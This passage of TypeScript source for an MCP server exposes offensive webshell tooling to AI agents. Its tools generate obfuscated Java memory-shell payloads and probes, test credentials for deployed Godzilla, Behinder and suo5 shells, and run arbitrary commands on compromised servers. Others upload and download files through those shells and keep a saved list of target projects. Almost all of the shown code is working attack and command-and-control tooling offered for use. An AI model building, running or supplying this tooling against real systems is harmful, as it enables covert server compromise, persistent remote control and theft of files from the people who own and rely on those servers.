z.string().optional().describe(\"java6/8/9/11/17/21/25 or class-file major version\"),\n debug: z.boolean().optional(),\n byPassJavaModule: z.boolean().optional(),\n shrink: z.boolean().optional(),\n lambdaSuffix: z.boolean().optional(),\n probe: z.boolean().optional(),\n obfuscate: z.boolean().optional(),\n obfuscationOptions: z.string().optional().describe(\"obfuscation overrides: key=value, comma-separated\"),\n obfuscationScope: z.enum([\"ALL\", \"MEMSHELL_INJECTOR\", \"INJECTOR\", \"MEMSHELL\"]).optional(),\n shellClassName: z.string().optional(),\n toolOptions: z\n .record(z.union([z.string(), z.record(z.unknown())]))\n .optional()\n .describe(\n \"Additional shell-tool fields from list_shell_tool_configs, including plugin fields. \" +\n \"String/enum fields use strings; v3.1+ object fields use JSON objects. \" +\n \"These override matching built-in convenience arguments.\",\n ),\n toolOptionJson: z\n .record(z.string())\n .optional()\n .describe(\"String-encoded shell-tool fields (name -> value); object fields contain JSON text.\"),\n godzillaPass: z.string().optional(),\n godzillaKey: z.string().optional(),\n behinderPass: z.string().optional(),\n antSwordPass: z.string().optional(),\n commandParamName: z.string().optional(),\n commandTemplate: z.string().optional(),\n encryptor: z.string().optional(),\n implementationClass: z.string().optional(),\n headerName: z.string().optional(),\n headerValue: z.string().optional(),\n shellClassBase64: z.string().optional(),\n urlPattern: z.string().optional(),\n injectorClassName: z.string().optional(),\n staticInitialize: z.boolean().optional(),\n agentArgs: z.string().optional().describe(\"Agent load-time arguments (persist=true / restore=true); not sent to the generate API\"),\n outputFile: z\n .string()\n .optional()\n .describe(\n \"also write the packed payload to this local file \" +\n \"(auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an \" +\n \"outputFile field with the write result. Fails for aggregate packers that \" +\n \"return several variants — pick a leaf packer (e.g. DefaultBase64).\",\n ),\n};\n\nconst probeInput = {\n probeMethod: z.enum([\"ResponseBody\", \"ResponseHeader\", \"DNSLog\", \"Sleep\"]),\n probeContent: z.string().describe(\"Server, JDK, Bytecode, Command, ScriptEngine, Filter\"),\n packer: z.string(),\n jdk: z.string().optional(),\n debug: z.boolean().optional(),\n byPassJavaModule: z.boolean().optional(),\n shrink: z.boolean().optional(),\n lambdaSuffix: z.boolean().optional(),\n obfuscate: z.boolean().optional(),\n obfuscationOptions: memShellInput.obfuscationOptions,\n staticInitialize: z.boolean().optional(),\n shellClassName: z.string().optional(),\n host: z.string().optional(),\n seconds: z.number().optional(),\n sleepServer: z.string().optional(),\n server: z.string().optional(),\n reqParamName: z.string().optional(),\n commandTemplate: z.string().optional(),\n respHeaderName: z.string().optional(),\n outputFile: memShellInput.outputFile,\n};\n\nconst bytecodeInput = {\n classBytesBase64: z.string().describe(\"Base64 or GzipBase64 class bytes\"),\n outputFile: z.string().optional().describe(\"also write the transformed class to this local file\"),\n};\n\nconst bytecodeTransformInput = {\n ...bytecodeInput,\n packer: z.string().optional(),\n byPassJavaModule: z.boolean().optional(),\n staticInitialize: z.boolean().optional(),\n shrink: z.boolean().optional(),\n renamePackage: z.boolean().optional(),\n relocateFrom: z.string().optional(),\n relocateTo: z.string().optional(),\n entryMethod: z.string().optional(),\n newClassName: z.string().optional(),\n randomName: z.boolean().optional(),\n obfuscate: z.boolean().optional(),\n obfuscationOptions: memShellInput.obfuscationOptions,\n server: z.string().optional(),\n probeMethod: z.enum([\"ResponseBody\", \"ResponseHeader\"]).optional(),\n respHeaderName: z.string().optional(),\n};\n\nconst connectInput = {\n name: z\n .string()\n .optional()\n .describe(\n \"saved target reference (<project>/<shell>, or a bare project holding exactly one shell) — \" +\n \"when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)\",\n ),\n url: z.string().optional().describe(\"URL of the deployed shell (or pass `name`)\"),\n tool: z\n .enum([\"godzilla\", \"behinder\", \"suo5\"])\n .optional()\n .describe(\"shell tool to test (or taken from the saved target)\"),\n pass: z\n .string()\n .optional()\n .describe(\"password (godzilla default: pass; behinder default: rebeyond)\"),\n key: z.string().optional().describe(\"godzilla key (default: key)\"),\n headerName: z\n .string()\n .optional()\n .describe(\"gate header name from generate_memshell shellToolConfig (usually User-Agent)\"),\n headerValue: z\n .string()\n .optional()\n .describe(\"gate header value from generate_memshell shellToolConfig — required for MemShellParty shells\"),\n suo5Mode: z\n .enum([\"auto\", \"v2\", \"v1\"])\n .optional()\n .describe(\"suo5 protocol variant (default: auto)\"),\n insecure: z.boolean().optional().describe(\"skip TLS certificate verification\"),\n timeoutMs: z.number().optional().describe(\"request timeout in milliseconds (default 30000)\"),\n upgradeProtocol: z.string().optional().describe(\"Godzilla Upgrade: fully-qualified generated shell class name\"),\n};\n\nconst execInput = {\n name: z\n .string()\n .optional()\n .describe(\n \"saved target reference (<project>/<shell>, or a bare project holding exactly one shell) — \" +\n \"when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)\",\n ),\n url: z.string().optional().describe(\"URL of the deployed shell (or pass `name`)\"),\n tool: z\n .enum([\"godzilla\", \"behinder\"])\n .optional()\n .describe(\"shell tool to execute through (or taken from the saved target)\"),\n command: z.string().describe(\"command line to execute on the target\"),\n pass: z\n .string()\n .optional()\n .describe(\"password (godzilla default: pass; behinder default: rebeyond)\"),\n key: z.string().optional().describe(\"godzilla key (default: key)\"),\n os: z\n .enum([\"auto\", \"windows\", \"linux\"])\n .optional()\n .describe(\n \"godzilla only: remote OS for the shell wrapper (default: auto — one extra request to detect; behinder detects the OS inside its payload)\",\n ),\n headerName: z\n .string()\n .optional()\n .describe(\"gate header name from generate_memshell shellToolConfig (usually User-Agent)\"),\n headerValue: z\n .string()\n .optional()\n .describe(\"gate header value from generate_memshell shellToolConfig — required for MemShellParty shells\"),\n insecure: z.boolean().optional().describe(\"skip TLS certificate verification\"),\n timeoutMs: z.number().optional().describe(\"request timeout in milliseconds (default 30000)\"),\n upgradeProtocol: z.string().optional().describe(\"Godzilla Upgrade: fully-qualified generated shell class name\"),\n};\n\n/** Connection fields shared by download_file / upload_file (no command/os). */\nconst transferConnInput = {\n name: execInput.name,\n url: execInput.url,\n tool: execInput.tool,\n pass: execInput.pass,\n key: execInput.key,\n headerName: execInput.headerName,\n headerValue: execInput.headerValue,\n insecure: execInput.insecure,\n timeoutMs: execInput.timeoutMs,\n upgradeProtocol: execInput.upgradeProtocol,\n remoteCharset: z\n .string()\n .optional()\n .describe(\n \"godzilla only: charset for non-ASCII remote paths (any Java label, e.g. GBK; default UTF-8)\",\n ),\n};\n\nconst downloadInput = {\n ...transferConnInput,\n remotePath: z.string().describe(\"remote file path to download\"),\n localPath: z\n .string()\n .optional()\n .describe(\n \"local destination (default: ./<remote basename>; an existing directory keeps the basename)\",\n ),\n force: z\n .boolean()\n .optional()\n .describe(\"overwrite the local file when it already exists (default: refuse)\"),\n};\n\nconst uploadInput = {\n ...transferConnInput,\n localPath: z.string().describe(\"local file to upload (max 64 MiB)\"),\n remotePath: z.string().describe(\"remote destination path (overwritten when it exists)\"),\n};\n\nconst targetSaveInput = {\n project: z.string().describe(\"project name (created when missing)\"),\n shell: z.string().describe(\"shell name inside the project\"),\n url: z.string().describe(\"URL of the deployed shell\"),\n tool: z.enum([\"godzilla\", \"behinder\", \"suo5\"]).describe(\"shell tool\"),\n pass: z.string().optional().describe(\"password\"),\n key: z.string().optional().describe(\"godzilla key\"),\n headerName: z.string().optional().describe(\"gate header name (shellToolConfig.headerName)\"),\n headerValue: z.string().optional().describe(\"gate header value (shellToolConfig.headerValue)\"),\n insecure: z.boolean().optional().describe(\"skip TLS certificate verification\"),\n upgradeProtocol: z.string().optional().describe(\"Godzilla Upgrade: fully-qualified generated shell class name\"),\n projectRemark: z.string().optional().describe(\"project remark (merged into the project)\"),\n projectCategory: z.string().optional().describe(\"project category (merged into the project)\"),\n shellRemark: z.string().optional().describe(\"remark for this shell\"),\n};\n\nexport function createMcpServer(client: MemPartyClient): McpServer {\n const server = new McpServer({ name: \"memshell-party\", version: CLI_VERSION });\n\n server.registerTool(\n \"bytecode_decode\",\n {\n title: \"Decode Java class\",\n description: \"Decode Base64/GzipBase64 class bytes and return class metadata (MemShellParty v3+).\",\n inputSchema: bytecodeInput,\n },\n async (args) => {\n try {\n const result = await client.decodeBytecode(args.classBytesBase64);\n const outputFile = args.outputFile === undefined\n ? undefined\n : emitSinglePackResult(\n { packResult: result.classBytesBase64Str },\n { outFile: args.outputFile, decode: true },\n );\n return jsonContent(outputFile === undefined ? result : { ...result, outputFile });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"bytecode_transform\",\n {\n title: \"Transform Java class\",\n description: \"Rename, relocate, instrument, obfuscate or pack a Java class (MemShellParty v3+).\",\n inputSchema: bytecodeTransformInput,\n },\n async (args) => {\n try {\n const renamePackage = args.renamePackage || args.relocateFrom !== undefined || args.relocateTo !== undefined;\n if (renamePackage && (!args.relocateFrom || !args.relocateTo)) {\n throw new Error(\"Package relocation requires relocateFrom and relocateTo.\");\n }\n const {\n outputFile: outputPath,\n obfuscate: _obfuscate,\n obfuscationOptions,\n probeMethod,\n server,\n respHeaderName,\n ...fields\n } = args;\n const request = {\n obfuscation:\n args.obfuscate || args.obfuscationOptions !== undefined\n ? { enabled: true, options: parseObfuscationOptions(args.obfuscationOptions) }\n : undefined,\n ...(probeMethod === undefined ? {} : {\n server: server ?? \"Unknown\",\n probe: {\n probeMethod,\n probeContent: \"Bytecode\",\n respHeaderName,\n },\n }),\n };\n const result = await client.transformBytecode({\n classBytesBase64: args.classBytesBase64,\n ...(Object.fromEntries(Object.entries(fields).filter(([, value]) => value !== undefined))),\n ...(renamePackage ? { renamePackage } : {}),\n ...request,\n });\n const outputFile = outputPath === undefined\n ? undefined\n : emitSinglePackResult(\n { packResult: result.packResult ?? result.classBytesBase64Str },\n { outFile: outputPath, decode: result.packResult === undefined || undefined },\n );\n return jsonContent(outputFile === undefined ? result : { ...result, outputFile });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"list_servers\",\n { title: \"List servers\", description: \"List supported servers and their shell types\" },\n async () => {\n try {\n return jsonContent(await client.getServers());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"list_config\",\n {\n title: \"List full config\",\n description: \"List every server's shell tools and their supported shell types\",\n },\n async () => {\n try {\n return jsonContent(await client.getConfig());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"list_packers\",\n { title: \"List packers\", description: \"List packers as a parent/child tree\" },\n async () => {\n try {\n return jsonContent(await client.getPackerTree());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"list_command_configs\",\n {\n title: \"List command configs\",\n description: \"List Command-tool encryptors and implementation classes\",\n },\n async () => {\n try {\n return jsonContent(await client.getCommandConfigs());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"list_shell_tool_configs\",\n {\n title: \"List shell tool configs\",\n description:\n \"List v3 shell tool parameter names, types, enum choices and groups. \" +\n \"An empty list means the backend uses the legacy v2 API.\",\n },\n async () => {\n try {\n return jsonContent(await client.getShellToolConfigs());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"list_plugins\",\n {\n title: \"List external plugins\",\n description:\n \"List v3.1+ external plugin metadata, SPI services, load status and load errors. \" +\n \"An empty list means no plugins or a backend older than v3.1.\",\n },\n async () => {\n try {\n return jsonContent(await client.getPlugins());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"list_remote_options\",\n {\n title: \"Resolve remote shell tool options\",\n description:\n \"Fetch and normalize a v3.1 remote-select field. Returns labels and string IDs or complete objects \" +\n \"ready to pass to generate_memshell toolOptions.\",\n inputSchema: {\n tool: z.string(),\n param: z.string(),\n url: z.string().optional().describe(\"Remote HTTP(S) endpoint; falls back to the urlQueryParam environment variable.\"),\n object: z.boolean().optional().describe(\"Override object mode; normally inferred from the field type.\"),\n },\n },\n async (args) => {\n try {\n const descriptor = (await client.getShellToolConfigs()).find((config) => config.tool === args.tool);\n const param = descriptor?.params.find((candidate) => candidate.name === args.param);\n if (!param?.ui || param.ui.kind !== \"remote-select\") {\n throw new Error(`${args.tool}.${args.param} is not a remote-select shell tool option.`);\n }\n const sourceUrl = args.url ?? process.env[param.ui.urlQueryParam];\n if (!sourceUrl) {\n throw new Error(`Provide url or set the ${param.ui.urlQueryParam} environment variable.`);\n }\n const options = await fetchRemoteOptions(sourceUrl, param.ui, args.object ?? param.type === \"object\");\n return jsonContent({ tool: args.tool, param: args.param, sourceUrl, options });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"list_obfuscation_options\",\n {\n title: \"List obfuscation options\",\n description: \"List class obfuscation option keys, defaults and valid values (v3+)\",\n },\n async () => {\n try {\n return jsonContent(await client.getObfuscationOptions());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"generate_memshell\",\n {\n title: \"Generate memory shell\",\n description:\n \"Generate a Java memory shell payload. The packed payload comes back in \" +\n \"`packResult`; pass `outputFile` to also write it to a local file \" +\n \"(base64 auto-decoded for .class/.jar/.zip/.ser/.bin).\",\n inputSchema: memShellInput,\n },\n async (args) => {\n const meta = {\n server: args.server,\n serverVersion: args.serverVersion,\n shellTool: args.shellTool,\n shellType: args.shellType,\n packer: args.packer,\n jdk: args.jdk,\n };\n const started = Date.now();\n try {\n if (args.agentArgs !== undefined && !supportsAgentLoadArguments(args.shellType, args.packer)) {\n throw new Error(\n \"agentArgs requires an Agent* shell type \" +\n \"and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer.\",\n );\n }\n const hasPluginOptions = args.toolOptions !== undefined || args.toolOptionJson !== undefined;\n const toolConfigs = hasPluginOptions ? await client.getShellToolConfigs() : [];\n const shellToolParams = hasPluginOptions\n ? toolConfigs.find((config) => config.tool === args.shellTool)?.params\n : undefined;\n const shellToolConfig = {\n ...args.toolOptions,\n ...parseShellToolConfig(\n Object.entries(args.toolOptionJson ?? {}).map(([name, value]) => `${name}=${value}`),\n shellToolParams,\n ),\n };\n const response = await client.generateMemShell(\n buildMemShellRequest({\n ...args,\n shellToolConfig: hasPluginOptions ? shellToolConfig : undefined,\n shellToolParams,\n obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions),\n }),\n );\n const outputFile =\n args.outputFile !== undefined\n ? emitSinglePackResult(response, { outFile: args.outputFile })\n : undefined;\n logOp({\n category: \"gen\",\n action: \"gen\",\n ok: true,\n durationMs: Date.now() - started,\n detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,\n meta,\n });\n return jsonContent({\n ...response,\n ...(outputFile === undefined ? {} : { outputFile }),\n ...(args.agentArgs === undefined ? {} : {\n agentArgs: args.agentArgs,\n agentLoadExamples: agentLoadExamples(args.agentArgs),\n }),\n });\n } catch (err) {\n logOp({\n category: \"gen\",\n action: \"gen\",\n ok: false,\n durationMs: Date.now() - started,\n error: (err as Error).message,\n meta,\n });\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"generate_probe\",\n {\n title: \"Generate probe shell\",\n description:\n \"Generate a probe/detection shell payload. The packed payload comes back in \" +\n \"`packResult`; pass `outputFile` to also write it to a local file \" +\n \"(base64 auto-decoded for .class/.jar/.zip/.ser/.bin).\",\n inputSchema: probeInput,\n },\n async (args) => {\n const meta = {\n probeMethod: args.probeMethod,\n probeContent: args.probeContent,\n packer: args.packer,\n jdk: args.jdk,\n };\n const started = Date.now();\n try {\n const response = await client.generateProbe(\n buildProbeRequest({\n ...args,\n obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions),\n }),\n );\n const outputFile =\n args.outputFile !== undefined\n ? emitSinglePackResult(response, { outFile: args.outputFile })\n : undefined;\n logOp({\n category: \"probe\",\n action: \"probe\",\n ok: true,\n durationMs: Date.now() - started,\n detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,\n meta,\n });\n return jsonContent(outputFile === undefined ? response : { ...response, outputFile });\n } catch (err) {\n logOp({\n category: \"probe\",\n action: \"probe\",\n ok: false,\n durationMs: Date.now() - started,\n error: (err as Error).message,\n meta,\n });\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"parse_classname\",\n {\n title: \"Parse class name\",\n description: \"Parse the fully-qualified class name from base64-encoded .class bytes\",\n inputSchema: { classBase64: z.string().describe(\"base64-encoded .class file bytes\") },\n },\n async ({ classBase64 }) => {\n try {\n return jsonContent({ className: await client.parseClassName(classBase64) });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"server_version\",\n { title: \"Server version\", description: \"Get the backend server version info\" },\n async () => {\n try {\n return jsonContent(await client.getVersion());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"connect_test\",\n {\n title: \"Test shell connection\",\n description:\n \"Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the \" +\n \"credentials work, by performing the tool's real protocol handshake. \" +\n \"Pass a saved target `name`, or url+tool with the gate header \" +\n \"(headerName/headerValue) from generate_memshell output for MemShellParty shells. \" +\n \"On success the profile is auto-saved and the canonical name returned as \" +\n \"`savedAs` — reuse it as `name` in later calls.\",\n inputSchema: connectInput,\n },\n async (args) => {\n try {\n const conn = resolveConnection(args.name, {\n url: args.url,\n tool: args.tool,\n pass: args.pass,\n key: args.key,\n headerName: args.headerName,\n headerValue: args.headerValue,\n insecure: args.insecure,\n upgradeProtocol: args.upgradeProtocol,\n });\n const common = {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs: args.timeoutMs,\n insecure: conn.insecure,\n upgradeProtocol: conn.upgradeProtocol,\n };\n const options: ProtocolOptions = { suo5Mode: args.suo5Mode };\n const result = await requireProtocol(conn.tool).test({ conn, common, options });\n // a successful handshake proves the credentials — keep them as a named target\n let savedAs: string | undefined;\n if (result.ok && conn.targetName === undefined) {\n savedAs = autoSaveShell(conn);\n conn.targetName = savedAs;\n }\n logOp({\n category: \"connect\",\n action: \"connect\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n detail: result.detail,\n error: result.error,\n });\n return jsonContent(savedAs !== undefined ? { ...result, savedAs } : result);\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"exec_command\",\n {\n title: \"Execute command on shell\",\n description:\n \"Execute a command line on a deployed Godzilla / Behinder shell and return its \" +\n \"stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / \" +\n \"Behinder Cmd payload). Run connect_test first to verify credentials; pass a \" +\n \"saved target `name`, or url+tool with the same gate header \" +\n \"(headerName/headerValue) for MemShellParty shells. On success the profile \" +\n \"is auto-saved and the canonical name returned as `savedAs`.\",\n inputSchema: execInput,\n },\n async (args) => {\n try {\n const conn = resolveConnection(args.name, {\n url: args.url,\n tool: args.tool,\n pass: args.pass,\n key: args.key,\n headerName: args.headerName,\n headerValue: args.headerValue,\n insecure: args.insecure,\n upgradeProtocol: args.upgradeProtocol,\n });\n const common = {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs: args.timeoutMs,\n insecure: conn.insecure,\n upgradeProtocol: conn.upgradeProtocol,\n };\n const protocol = requireProtocol(conn.tool);\n if (!protocol.exec) throw new Error(unsupportedMessage(protocol, \"exec\"));\n const result = await protocol.exec({ conn, common, options: { os: args.os } }, args.command);\n // a successful exec proves the credentials — keep them as a named target\n let savedAs: string | undefined;\n if (result.ok && conn.targetName === undefined) {\n savedAs = autoSaveShell(conn);\n conn.targetName = savedAs;\n }\n const truncated = result.output !== undefined ? truncateOutput(result.output) : null;\n logOp({\n category: \"exec\",\n action: \"exec\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n command: args.command,\n output: truncated?.output,\n outputTruncated: truncated?.truncated || undefined,\n error: result.error,\n });\n return jsonContent(savedAs !== undefined ? { ...result, savedAs } : result);\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"download_file\",\n {\n title: \"Download file from shell\",\n description:\n \"Download a file from a deployed Godzilla / Behinder shell to the local machine. \" +\n \"Chunked transfer with integrity verification (Godzilla: remote size; Behinder: MD5). \" +\n \"Pass a saved target `name`, or url+tool with the gate header for MemShellParty shells. \" +\n \"The local file is never overwritten unless force=true. On success the profile is \" +\n \"auto-saved and the canonical name returned as `savedAs`.\",\n inputSchema: downloadInput,\n },\n async (args) => {\n try {\n const conn = resolveConnection(args.name, {\n url: args.url,\n tool: args.tool,\n pass: args.pass,\n key: args.key,\n headerName: args.headerName,\n headerValue: args.headerValue,\n insecure: args.insecure,\n upgradeProtocol: args.upgradeProtocol,\n });\n const common = {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs: args.timeoutMs,\n insecure: conn.insecure,\n upgradeProtocol: conn.upgradeProtocol,\n };\n // decide + validate the local destination before touching the network\n const localPath = resolveDownloadPath(args.remotePath, args.localPath, args.force ?? false);\n\n const protocol = requireProtocol(conn.tool);\n if (!protocol.download) throw new Error(unsupportedMessage(protocol, \"download\"));\n let result = await protocol.download(\n { conn, common, options: { remoteCharset: args.remoteCharset } },\n args.remotePath,\n );\n if (result.ok && result.data !== undefined) {\n try {\n writeFileSync(localPath, result.data);\n } catch (err) {\n result = {\n ...result,\n ok: false,\n error: `download succeeded but writing ${localPath} failed: ${(err as Error).message}`,\n };\n }\n }\n let savedAs: string | undefined;\n if (result.ok && conn.targetName === undefined) {\n savedAs = autoSaveShell(conn);\n conn.targetName = savedAs;\n }\n logOp({\n category: \"download\",\n action: \"download\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n detail: result.ok\n ? `${args.remotePath} -> ${localPath} (${result.bytes ?? 0} bytes)`\n : undefined,\n error: result.error,\n meta: { remotePath: args.remotePath, localPath, bytes: result.bytes },\n });\n const { data: _data, ...wire } = result;\n return jsonContent({ ...wire, localPath, savedAs });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"upload_file\",\n {\n title: \"Upload file to shell\",\n description:\n \"Upload a local file to a deployed Godzilla / Behinder shell, overwriting the remote \" +\n \"path (max 64 MiB). Chunked transfer with integrity verification (Godzilla: remote \" +\n \"size; Behinder: MD5). Pass a saved target `name`, or url+tool with the gate header \" +\n \"for MemShellParty shells. On success the profile is auto-saved and the canonical \" +\n \"name returned as `savedAs`.\",\n inputSchema: uploadInput,\n },\n async (args) => {\n try {\n const conn = resolveConnection(args.name, {\n url: args.url,\n tool: args.tool,\n pass: args.pass,\n key: args.key,\n headerName: args.headerName,\n headerValue: args.headerValue,\n insecure: args.insecure,\n upgradeProtocol: args.upgradeProtocol,\n });\n const common = {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs: args.timeoutMs,\n insecure: conn.insecure,\n upgradeProtocol: conn.upgradeProtocol,\n };\n // read + validate the local file before touching the network\n const data = readUploadFile(args.localPath);\n\n const protocol = requireProtocol(conn.tool);\n if (!protocol.upload) throw new Error(unsupportedMessage(protocol, \"upload\"));\n const result = await protocol.upload(\n { conn, common, options: { remoteCharset: args.remoteCharset } },\n args.remotePath,\n data,\n );\n let savedAs: string | undefined;\n if (result.ok && conn.targetName === undefined) {\n savedAs = autoSaveShell(conn);\n conn.targetName = savedAs;\n }\n logOp({\n category: \"upload\",\n action: \"upload\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n detail: result.ok\n ? `${args.localPath} -> ${args.remotePath} (${result.bytes ?? 0} bytes)`\n : undefined,\n error: result.error,\n meta: { localPath: args.localPath, remotePath: args.remotePath, bytes: result.bytes },\n });\n return jsonContent(savedAs !== undefined ? { ...result, savedAs } : result);\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"target_save\",\n {\n title: \"Save shell target\",\n description:\n \"Save a shell connection profile as <project>/<shell> so later connect_test / \" +\n \"exec_command calls only need the name. A project groups several shells and \" +\n \"carries an optional remark and category. Overwrites an existing shell.\",\n inputSchema: targetSaveInput,\n },\n async (args) => {\n try {\n if (args.projectRemark !== undefined || args.projectCategory !== undefined) {\n saveProjectMeta(args.project, {\n remark: args.projectRemark,\n category: args.projectCategory,\n });\n }\n const stored = saveShell(args.project, args.shell, {\n url: args.url,\n tool: args.tool,\n pass: args.pass,\n key: args.key,\n headerName: args.headerName,\n headerValue: args.headerValue,\n insecure: args.insecure,\n upgradeProtocol: args.upgradeProtocol,\n remark: args.shellRemark,\n });\n logOp({\n category: \"save\",\n action: \"save\",\n targetName: `${args.project}/${args.shell}`,\n url: args.url,\n tool: args.tool,\n ok: true,\n detail: \"saved\",\n meta: {\n projectRemark: args.projectRemark,\n projectCategory: args.projectCategory,\n shellRemark: args.shellRemark,\n },\n });\n return jsonContent({ project: args.project, shell: args.shell, ...stored });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"target_note\",\n {\n title: \"Set remark/category\",\n description:\n \"Set or clear (empty string) a project's remark and/or category — or a shell's \" +\n \"remark when `shell` is given.\",\n inputSchema: {\n project: z.string(),\n shell: z.string().optional().describe(\"when set, only `remark` applies (to the shell)\"),\n remark: z.string().optional().describe('remark (\"\" to clear)'),\n category: z.string().optional().describe('project category (\"\" to clear; projects only)'),\n },\n },\n async (args) => {\n try {\n if (args.shell) {\n if (args.category !== undefined) {\n throw new Error(\"category only applies to projects\");\n }\n const updated = saveShellMeta(args.project, args.shell, { remark: args.remark });\n logOp({\n category: \"note\",\n action: \"note\",\n targetName: `${args.project}/${args.shell}`,\n ok: true,\n detail: `remark=${updated.remark ?? \"-\"}`,\n });\n return jsonContent({\n project: args.project,\n shell: args.shell,\n remark: updated.remark,\n });\n }\n const updated = saveProjectMeta(args.project, {\n remark: args.remark,\n category: args.category,\n });\n logOp({\n category: \"note\",\n action: \"note\",\n targetName: args.project,\n ok: true,\n detail: `category=${updated.category ?? \"-\"} remark=${updated.remark ?? \"-\"}`,\n });\n return jsonContent({ project: args.project, ...updated, shells: Object.keys(updated.shells) });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"target_list\",\n {\n title: \"List saved targets\",\n description:\n \"List saved projects (remark, category) and their shells. Use the \" +\n \"<project>/<shell> references as `name` in connect_test / exec_command.\",\n inputSchema: {\n category: z.string().optional().describe(\"only show projects in this category\"),\n },\n },\n async (args) => {\n try {\n const all = listProjects();\n const filtered: Record<string, unknown> = {};\n for (const [name, p] of Object.entries(all)) {\n if (args.category !== undefined && p.category !== args.category) continue;\n filtered[name] = p;\n }\n return jsonContent({ storePath: targetStorePath(), projects: filtered });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"target_remove\",\n {\n title: \"Remove saved target\",\n description: \"Remove a whole project, or a single shell when `shell` is given.\",\n inputSchema: {\n project: z.string(),\n shell: z.string().optional(),\n },\n },\n async (args) => {\n try {\n const removed = args.shell\n ? removeShell(args.project, args.shell)\n : removeProject(args.project);\n if (!removed) throw new Error(`unknown target ${args.project}/${args.shell ?? \"\"}`);\n logOp({\n category: \"remove\",\n action: \"remove\",\n targetName: args.shell ? `${args.project}/${args.shell}` : args.project,\n ok: true,\n detail: \"removed\",\n });\n return jsonContent({ removed: true, project: args.project, shell: args.shell });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"log_list\",\n {\n title: \"List operation log\",\n description:\n \"Read the global operation log (every gen/probe/connect/exec/save/note/remove op), \" +\n \"newest first. Filter by category and/or target.\",\n inputSchema: {\n category: z\n .enum([\"gen\", \"probe\", \"connect\", \"exec\", \"download\", \"upload\", \"save\", \"note\", \"remove\"])\n .optional()\n .describe(\"operation category\"),\n target: z\n .string()\n .optional()\n .describe(\"project name, project/shell, or a URL substring (e.g. host)\"),\n limit: z.number().optional().describe(\"max entries (default 50)\"),\n },\n },\n async (args) => {\n try {\n const entries = readOps({\n category: args.category as OpCategory | undefined,\n target: args.target,\n limit: args.limit,\n });\n return jsonContent({ logPath: opLogPath(), entries });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n return server;\n}\n\n/** Start the MCP server over stdio. */\nexport async function startMcpStdio(client: MemPartyClient): Promise<void> {\n const server = createMcpServer(client);\n const transport = new StdioServerTransport();\n await server.connect(transport);\n}\n","/**\n * Local-filesystem helpers for `memparty upload` / `memparty download`.\n *\n * Kept deliberately strict: a transfer command must fail loudly before it\n * touches the wire rather than clobber a local file or stream a directory.\n */\nimport { existsSync, readFileSync, statSync } from \"node:fs\";\nimport { dirname, join, resolve } from \"node:path\";\n\n/** Max upload size: 64 MiB. Larger files belong in a real file manager. */\nexport const UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;\n\n/**\n * Basename of a *remote* path. The remote host may be Windows or Linux, so\n * both `\\` and `/` count as separators; trailing separators are stripped\n * first (\"C:\\\\temp\\\\\" -> \"temp\"). Returns \"\" when nothing usable remains.\n */\nexport function remoteBasename(remotePath: string): string {\n const trimmed = remotePath.replace(/[/\\\\]+$/, \"\");\n const parts = trimmed.split(/[/\\\\]/).filter((p) => p.length > 0);\n return parts.length > 0 ? parts[parts.length - 1]! : \"\";\n}\n\n/**\n * Decide where a download lands locally and refuse anything unsafe.\n *\n * - `localArg` omitted -> ./<remote basename>\n * - `localArg` is an existing directory -> <dir>/<remote basename>\n * - otherwise `localArg` is the target file\n *\n * Throws when the name is 